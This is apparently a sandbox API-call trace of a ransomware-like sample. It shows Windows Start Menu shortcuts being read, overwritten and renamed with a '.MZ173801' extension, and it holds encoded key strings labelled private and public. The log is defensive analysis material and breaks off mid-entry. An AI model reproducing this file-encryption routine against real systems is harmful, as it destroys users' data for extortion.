CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.442] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.442] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.443] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x490 [0213.443] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.443] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x490, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x490, lpOverlapped=0x0) returned 1 [0213.445] CloseHandle (hObject=0x330) returned 1 [0213.445] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.446] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x490, lpOverlapped=0x0) returned 1 [0213.447] CloseHandle (hObject=0x330) returned 1 [0213.447] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.mz173801")) returned 1 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] GetCurrentThreadId () returned 0xab4 [0213.448] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="iSCSI Initiator.lnk", cAlternateFileName="")) returned 1 [0213.448] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.449] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.449] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x478)) returned 1 [0213.449] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk")) returned 0x20 [0213.449] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk", dwFileAttributes=0x80) returned 1 [0213.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.453] GetCurrentThreadId () returned 0xab4 [0213.453] GetCurrentThreadId () returned 0xab4 [0213.453] GetCurrentThreadId () returned 0xab4 [0213.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.454] GetCurrentThreadId () returned 0xab4 [0213.454] GetCurrentThreadId () returned 0xab4 [0213.454] GetCurrentThreadId () returned 0xab4 [0213.454] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.454] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.454] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.454] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x478 [0213.454] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.454] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x478, lpOverlapped=0x0) returned 1 [0213.456] CloseHandle (hObject=0x330) returned 1 [0213.456] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.457] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x478, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x478, lpOverlapped=0x0) returned 1 [0213.459] CloseHandle (hObject=0x330) returned 1 [0213.459] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.mz173801")) returned 1 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] GetCurrentThreadId () returned 0xab4 [0213.460] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39893c6e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x39893c6e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x39893c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="")) returned 1 [0213.460] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.460] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.460] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39893c6e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x39893c6e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x39893c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474)) returned 1 [0213.465] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory 